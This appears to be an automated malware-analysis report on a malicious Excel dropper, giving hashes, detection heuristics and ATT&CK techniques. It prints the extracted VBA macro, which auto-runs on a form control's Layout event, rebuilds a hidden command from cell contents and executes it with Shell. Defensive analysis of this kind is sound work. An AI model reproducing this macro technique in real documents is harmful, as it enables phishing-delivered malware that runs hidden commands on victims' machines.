Xls.Dropper.Agent-8915379-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 2e9af25fe49278f3…

MALICIOUS

Office (OOXML)

41.2 KB Created: 2020-07-16 09:32:47 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 5b2bc590a17a3ede7e5e9426cba75e3d SHA-1: 5522b85a39c96f395d650e7db898e6262d72cc38 SHA-256: 2e9af25fe49278f3f255bbf47744381ff8ede382552eb90dfa87fe369dcf53fc
140 Risk Score

Malware Insights

Xls.Dropper.Agent-8915379-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Xls.Dropper.Agent-8915379-0. The embedded VBA macro, named 'macros.bas', contains code that concatenates strings to form a command. This command, 'live', is then executed using the Shell function, indicating it's designed to download and run a secondary payload. The macro also attempts to close the workbook without saving, a common tactic for droppers.

Heuristics 2

  • ClamAV: Xls.Dropper.Agent-8915379-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8915379-0
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 959 bytes
SHA-256: 22f3a257f6216dff5fde2a99c2c02c729ca522487564a3fde71fce92aa50e88f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckPrinters, 1, 0, MSForms, Frame"
Function Ts(ASi As String) As String
Ts = Mid(ASi, msoLightingBright, msoCTrue)
End Function
Private Sub CheckPrinters_Layout()
For Each home In [A1:IV6200].SpecialCells(xlConstants)
live = live & Ts(home.Text)
Next
Shell@ live, msoFontAlignAuto: ActiveWorkbook.Close False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: 14c808e22af0c832116ad2bb06e6cf9c21a442b9992c8bd5c6699d2e6af89cb2
Detection
ClamAV: Xls.Dropper.Agent-8915379-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214